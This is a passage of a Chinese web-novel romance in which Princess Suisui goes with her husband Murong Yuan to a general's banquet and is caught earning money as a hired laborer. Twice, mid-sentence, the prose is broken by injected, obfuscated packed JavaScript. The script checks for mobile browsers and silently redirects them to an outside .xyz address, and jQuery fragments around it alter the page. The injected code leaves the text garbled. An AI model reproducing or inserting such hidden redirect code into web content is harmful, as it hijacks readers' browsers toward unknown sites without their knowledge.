锦绣马车妆点金山银山,银丝炭暖手炉,三个人挤在小小的空间里,有时甚至两三个时辰都憋不出一句话,尴尬得令人窒息。 每到这时,就很考验演技。穗穗总是挑靠窗的位置,假装观赏风景入迷。 奈何平城多风沙,雪珠子混着砂砾,不仅将她精心打理的发丝全部吹乱,还直往眼睛里扑。 安平郡主见她眼睛都被风迷得睁不开了,仍是舍不得挪开,笑得心疼又宠溺, “婕妤和阿远还真投契,小时候都喜欢这么看风景。” 穗穗不敢应声。听着两人如此熟稔的称呼,她的心里就像猫挠过般难受。 一旦离开周围人的视线,穗穗便逃也似的躲到两人身后几步开外。 不过,即便是躲远了,她的目光也难以离开眼前的一对璧人。 他二人都不爱张扬,常着单色锦缎冬袄。只是同样深邃明艳的眉眼,同样姿态笔挺的脊梁,实在是郎才女貌,佳偶天成。 他们并肩转回身看她时,郎君气宇轩昂,眸色淡淡,女娘浅笑嫣然,岁月静好。穗穗觉得自己可能一辈子都忘不了这幅画面。 她跟春杏讲起时,说那场面,很像情投意合的恩爱父母,带着她这个还没长开的小女娃娃。 穗穗被自己逗得乐不可支,笑着笑着,眼角滚下几颗泪珠。 她大概是运气不好。 在南楚时,父皇不爱她的娘亲,姐夫不爱她的二姐。她没见过爱情长什么模样。 嫁来北燕,才终于在她夫君身上见到了爱情。只不过,是对另一个女子的。 半个月之后,祭坛如期建成,三人赶在立冬前,回到上京城。 甫一抵京,慕容远便被召进皇宫。 没有安平郡主和慕容远那些揪心的爱恨情仇,穗穗终于睡上绵长的美觉。 醒来天光已暗,晚来天欲雪,廊下一盏幽光,春杏蹲在地上收整行李。见她从床上坐起,雀跃着跑进来, “公主,钱,好多钱!” 是春杏去武馆,取回了之前没结清的工钱,沉甸甸一大袋金子,春杏这小丫头眼底一片金光。 窗外寒风呼啸,屋内温暖如春。穗穗笑看着眼前蹦蹦跳跳的小丫头,起伏不定的心绪,在摸到钱袋子的那一刻,久违的踏实下来。 冯馆主说得对,人不能沉湎于情情爱爱。除了这些,生活还有很美好的一面。 穗穗刮了刮春杏的鼻尖,从床头取出一只半臂长的红木匣,旋开金锁,将钱袋子放了进去。 “加上这笔,一共是两千两。短短半年,居然已经攒了这么多。” 赚钱的速度超乎穗穗的预料。 “方才冯馆主说,明天立冬,将军府上要办酒会,公主要是愿意,还是可以去帮工。奴知道公主不想去将军府,托词明天家里办了席。” 春杏撺掇穗穗, “不过,口说无凭,公主这么辛苦,也该好好犒劳自己一顿。” 穗穗知她心思,笑着点点她的脑袋,“我看犒劳公主是假,犒劳你自己才是真。” 春杏嘿嘿笑着,在外漂泊这么久,回到上京,怎能不吃顿好的。 主仆两往壁橱去找锅碗瓢盆火炉子, “要下雪,吃火锅可好?涮些鱼片,再包些汤圆,兴许还能找到走之前剩下的桂花,做些桂花酿……” 穗穗说得兴致勃勃,不觉身后毛毡帷幔被揭开一角,寒风涌进屋内,送来慕容远的声音, “在说什么,这么热闹。” 一瞬间,连寒风都静默下来。 笑容僵硬在穗穗脸上,她回身站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788573|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,便见慕容远掀帘而入,脸上残留着被冷风刮过的驼红。他似乎心绪颇佳,神情无端殷切。 “在准备晚饭。”穗穗不咸不淡的回答他。 慕容远自己也意识到失语。在皇宫与父王太子周旋了三天三夜,好不容易回府,一下轿,他就看见墙边小公主的院子,亮起暖融融的光,隐约传出细碎的银铃嗓音。 脚步不自觉就带他过来,原以为小公主这里有什么喜事,此刻一瞧,也不过主仆两人而已。 真是奇也怪也,为何他方才会觉得热闹温暖。 穗穗见他杵在原地,忍不住问他,“三爷难道要留下一起用膳?” 无怪穗穗如此疏离,慕容远从来没有和她同桌用膳。这话一出,两人都有些尴尬。 慕容远摸摸鼻尖,往门前微微侧步,“不了。本王就是来告诉五公主一声,明天将军府办酒会,你跟我一起去。” 穗穗只感觉天都塌了。 她当然知道,慕容远这是又想见安平郡主了。 可这次,她不行,她真的不行。 明天武馆的同僚、冯馆主他们,估计都会去将军府帮工,她要是去,一准露馅。 “我能不能不去?” 慕容远放下挑起的毛毡帷幔,俯身凑近她看了半晌,神色有着她不理解的古怪。 “这次你可以去,本王带你去,不会出事。” 穗穗都快哭出来了,她怕的远不是出糗丢脸。 “我不想去。”穗穗坚定摇头。 可慕容远比她还要坚定,“不,你想去。” 穗穗只能让春杏给自己画上很浓的妆,像个白面娃娃,掩盖住真容。一说话,脂粉就扑簌簌往下落。 如此,穗穗尤觉不够,又取来一套翡翠头面,明月珰,珍珠帘,婷婷袅袅,誓要与做苦力负卒半点不沾边。 因为要去见安平郡主,这一次,慕容远格外有耐心。 穗穗更衣时,他支起火炉在院子里暖手,不声不响,却不知悄悄打量的目光早就被铜镜出卖得一干二净。 春杏抿唇偷笑,在穗穗耳边小声说,“公主,王爷一直在看你。” “嗯,”穗穗头也不抬。打从坐到妆台前,她心里想的全是一会儿该如何躲藏。 也不知她这声回应让春杏品出了何种酸涩,片刻后,春杏捧着她的发髻,示意她抬头, “公主如此貌美,其实根本不需要和安平郡主攀比,王爷迟早有一天会想通的。” 穗穗看向铜镜,这才发现自己已是一张陌生面孔。 刻意凌厉的眉眼,刻意张扬的红唇,还有依照安平郡主的习惯,挑选的素色锦缎长裙,甚至椽边立领都依照她的习惯,别上一枚箭羽形状的领扣。 在她还没意识到的时候,居然已经模仿起安平郡主。 20.第 20 章 穗穗脸色红得不自然,手忙脚乱的拿下了领扣,又取下几只金钗,“没有,没有的事,我怕被武馆的人认出来罢了。” 穆家是北燕贵族之首,北燕还没有建国,穆家就已经发家。宗族里人才辈出,北燕近乎一半的军权都掌握在穆家手里。 穆家的拥趸少不了。慕容远和穗穗驱车抵达将军府时,门前已经被一架架金尊玉贵的车轿堵得水泄不通。 仆从丫鬟穿梭在高头大马之下,摩肩接踵,人声嘈杂,嬉笑声,叫嚷声,哭喊声,不绝于耳。 穗穗在那么多家府里做过工,都赶不上穆家的半分热闹。她今天要是答应了冯馆主过来帮忙,恐得累得掉层皮。 穗穗叹息一声,垂下面庞,跟在慕容远身后,悄无声息的在众人眼皮子底下钻进府门。 甫一进去,慕容远便被几位朝堂中人招呼过去,皆是身高两尺的壮汉,勾肩搭背将慕容远簇拥在中间,穗穗自然而然落在后面。 她想起入宫敬茶时,慕容远只允许她坐在长兄阿姐身边,料想他今天估计也不愿她接近,便懂事的退到角落,打算一会儿随便挑张不起眼的席案。 熟料,几人走出去两步,慕容远突然回头来寻她,目光越过人群,落在她身上时,微微无奈, “站在原地做什么?快过来。” 他说出这句话时,有一刹那,本能的伸手想牵她,只是被他意识到之后又缩了回去。 穗穗微微愣神,心跳漏了一瞬,那些人看着她笑得暧昧,她噔噔噔小步快跑向慕容远时,耳边全是轰隆的心跳。 慕容远和她坐在同一张席案。 他吃饭的模样和北燕人很不一样,不会粗蛮的胡吃海喝,而是细嚼慢咽,端庄优雅,更似南楚人的斯文。估计是他在南楚为人质时养成的习惯。 穗穗举着玉箸看他,看得忘记回神。这是她第一次和慕容远同桌共宴,分明是质朴无华的厅堂,分明是平平无奇的桌案,可慕容远坐在那儿,就好像浑身上下都散发着金光,威仪凛然,有如天神贵胄。 慕容远察觉到她的目光,觑了她一眼,见她神情呆滞,转而失笑,倾身凑近, “刚刚吃了什么?脸上沾了这么多粉末。” 指腹粗糙的质感抚摸过唇角,穗穗瞬间惊醒,一把打开慕容远的手。 天爷诶,那是她画了两个时辰的妆! 身边人都在笑,不知哪家夫人揶揄道,“敦王一看就是新婚不久,还不懂婕妤的心思,回去婕妤可得好好教育。” 穗穗羞得说不出话,慕容远淡然看了她一眼,“小姑娘倒是爱美。” 他给穗穗夹了几块糖藕,知道穗穗不吃羊肉,将所有膻腥的菜肴都撤了下去,连酒也不让上,他自己也滴酒未沾。 穗穗已经没有力气去分辨,他做这些是为了借用她挡酒,还是什么别的目的。 他在所有人面前,坦然的谈论她,照顾她,不管是怎样的态度,都足以让穗穗小鹿乱撞,被悲戚封冻的心墙轰然崩塌。 吃过饭,宾客听戏的听戏,下棋的下棋。 慕容远与主家攀谈几句,趁着人不多,径直往西院厢房去。 穗穗知道是谁在厢房,她的步伐慢下,叫住慕容远,“三爷,” 她抿住唇,鼓起全部勇气,问他,“能不能不去。” 慕容远回身看她,双眸微眯,“五公主,你不会是在……” 他的脸上划过刹那怔忪,穗穗从来没有在他脸上见过如此复杂的神色。 她也分不清,她究竟是怀抱着怎样的心情说出这话的。 一开始,她想的是,西院有杂役间和厨房,人来人往,很有可能撞见武馆的人。 只是,当她颤抖的嗓音落在耳边,她自己都骗不了自己,她在做一件毫无理智的事情:跟慕容远赌气。 她能感觉到眼眶滚烫灼热。她想她的模样一定难看极了,拈酸吃醋,声色俱厉,像话本子那些恶毒的怨妇。 不过,今日的慕容远实在是好脾气,并未跟她计较。他神情平静的端详半晌,轻嗤一声,“本王将房门打开,五公主在门外看着,总行了吧。” 他将深邃的眉宇舒展开,唇角轻勾,近似讨好。 因为想跟安平郡主见面,所以讨好她。 穗穗垂下头,不敢再看他的眼睛。 那股胆大包天、为自己争取的勇气来得莫名其苗。此刻匆匆消散了,她再没有胡闹的底气。 西厢房的不大,门前栽种着一棵参天银杏,树叶落尽,只剩下光秃秃的枝丫,整个院子的光景一览无余。 穗穗坐在树下吃茶的间隙,已经看见好几个熟面孔从院墙外经过。 她不敢继续待在树下,提着小圆凳,坐到了厢房廊檐的角落。 慕容远的声音陆续传到穗穗耳朵,究极正经,让她微微一愣。 之前,慕容远防备她,不轻易让她听见他和安平郡主的对话,穗穗心酸,也懒得招惹两人。 直到此刻偶然靠近,穗穗才发觉,或许,慕容远和安平郡主聊的,远非情情爱爱。 慕容远在安平郡主面前没有任何遮掩,穗穗刚一坐定,就听见他沉冷的斥责, “本王在平城兢兢业业,任劳任怨,太子居然倒打一耙,参本王一本,说本王修缮祭坛太过挥霍、劳民伤财,觉得本王在父王面前抢了他的威风。” 他们两人中,反倒安平郡主沉稳老练,安平郡主温和的劝他,“之前就告诉过你,遇着事了可以去找阿爷,我们穆家上下都会帮你。你每回都不愿麻烦他。幸好这次只是无关痛痒的指摘,否则又要落一身伤。” 这声安慰好似也没有想象中那么缠绵。穗穗神情僵硬,突然不知该作何感想。她想过他二人各种卿卿我我、令人难堪的画面,却没想过觉得他们之间会讨论这么严肃的话题。 她在南楚没经历过夺嫡,只听阿娘说过,这是一件动辄株连九族、流血千里的极其可怕的事情。她私心里,自然不愿自己的夫君涉足这样危险的事情。 可转念一想,慕容远要是没有斗倒太子的心,那才奇怪。 嫁鸡随鸡、嫁狗随狗,嫁了个要当皇帝的夫君,她也拦不住。 穗穗对朝堂事提不起兴趣,听着听着,不禁打起小盹。 模模糊糊间,有熟悉的声音落在她的耳畔,像是在远远的呼唤她,“……姑娘……姑娘……” 暖阳甚好,穗穗与美梦纠缠,过了好一会儿,才惊醒过来。 她一个鲤鱼打挺,从凳子上站起来。 前次去高府帮忙时,打过交道的高府管事,站在月门外,而慕容远已经走下廊檐。 也不知她睡着时,他二人说了什么。高府管事神色古怪的睨了穗穗片刻,嘀嘀咕咕走远了。 估计,高府管事已经将穗穗做负卒帮工赚钱的事,都告诉了慕容远。 穗穗悄悄抬起一点眼帘,去看慕容远的反应,见着他冰封鹰眼、吃人般紧紧咬死的下颚,她立时又被吓得垂下目光,缩进衣领,不敢再吭声。 慕容远一语不发,领着穗穗回府。 本着坦白从宽的道理,一坐进马车,穗穗忙不迭道来了始末, “三爷也知道,我力气大,一身牛劲儿不用白不用。于是……于是我才答应高府,也想着能赚点钱。” 马车颠簸得厉害,车夫催命般赶着车,蹄声迅疾,间或传来马儿嘶鸣,动荡不安。 慕容远手扶车框、大刀金马的坐着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808555|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他知道小公主身子硬朗,力气不差。原本对她还有些另眼相待,可当他知道她用出卖力气这么低下的办法赚钱时,心中涌起说不清道不明的嫌恶。 倒不是看不上她的女子身份,也不是觉得她抛头露面丢脸,北燕不乏金戈铁马的女中豪杰,女郎君亦能当家,这都没什么。 他就是觉得……就是觉得,这小公主娇娇一个,竟然敢脱离王府和他的庇佑,有种失控的烦躁。 他把这归结为宋辞穗的愚蠢冒失,外面狼环虎伺,她任性妄为,完全不知道自己将会面临什么! 慕容远瞪着她,将人吓得直往角落里缩。好半晌,小公主退无可退了,他才勉强冷哼一声,鄙夷轻慢都快从眼底溢出来, “五公主,你到底是有多缺钱,三瓜两枣也看得上。” 穗穗嘟囔着嘴,已经不少了,半年能攒两千两,也就只有慕容远会看不上。 但这话她不敢说,说了慕容远只会更嫌弃她没见过世面。 她也不敢告诉慕容远,她不只靠出卖力气赚钱,她还有身手,还在武馆任教。 慕容远这人对她偏见太深,仅仅是一份负卒的差事就让他气成这样,要是他知道了其他的,不定拿她如何呢。 “君子爱财,取之有道,我靠双手赚钱有何不可?况且,况且,” 穗穗捏紧裙摆, “三爷之前答应过我,可以自由出入,我也没有坏府里的规矩。” 抱着一种破罐子破摔的心态,穗穗努力挺直腰背,甚至往车中央挤了挤,扬起不服气的小脸。 一双圆溜溜的眼睛,车外飞逝的流光在琥珀色的眼珠里轻晃。 慕容远将后槽牙咬了又咬,几乎快要碾碎。 他实在是不懂,这世上怎么有这样令人嫌弃的人。偏生对着这人,他无可奈何,连句重话都说不出。 或许这就是南楚的巫术吧,从新婚夜那天的犹豫开始,他就觉得,这小公主八成是有点巫术在身上的。 慕容远烦躁得将额角捏了又捏,“回去找管家拿钱,府里现成的银票都给你,三千两,够不够?” 冷不丁的声音落下,穗穗反应了许久,才意识到,慕容远难不成……是想帮她? 三千两,对于现在的穗穗来说,无疑是一笔巨款,但想要救母亲,还是不够。 穗穗按耐住狂喜,小心翼翼问慕容远,“那我以后还能出府吗?” 慕容远听了这话,都快被气笑了,他还没见过穗穗这样不知好歹的人。 但赚钱这事,不管慕容远高不高兴,穗穗都得做。 两人僵持着,慕容远叫她眼巴巴的模样弄得无可奈何,饶是不情不愿,最后还是答应了她。 “以后我和安平郡主的事,不需要五公主了。五公主拿着这些钱,照顾好自己,那种体力活还是别做了。” 慕容远终于想通了,她终于解放了,她应该为此感到开心才是。 穗穗挂着几许笑意,缓缓点头,“多谢三爷。” 一声“谢”字落在慕容远耳朵里,他的心尖一颤。 这小公主喜欢唤他“三爷”,和别人称呼他的感觉都不一样,乖顺甜美,好像不管他心中多么焦躁厌烦,都能被这声音抚平。 难道这就是南楚的邪术吗?慕容远不知道。 车行过半晌,他怒火渐渐淡去,不知又想到了什么,忍不住溢出几声哼笑。 穗穗都看在眼里,这是她认识慕容远以来,他最英武帅气的模样,神容威严,像伟岸高山般掌控一切。 她不敢多看,也不敢有多余的心思。 唯一的念头是,慕容远竟然纵容她这样胡作非为,能够见到安平郡主,他是有多开心啊。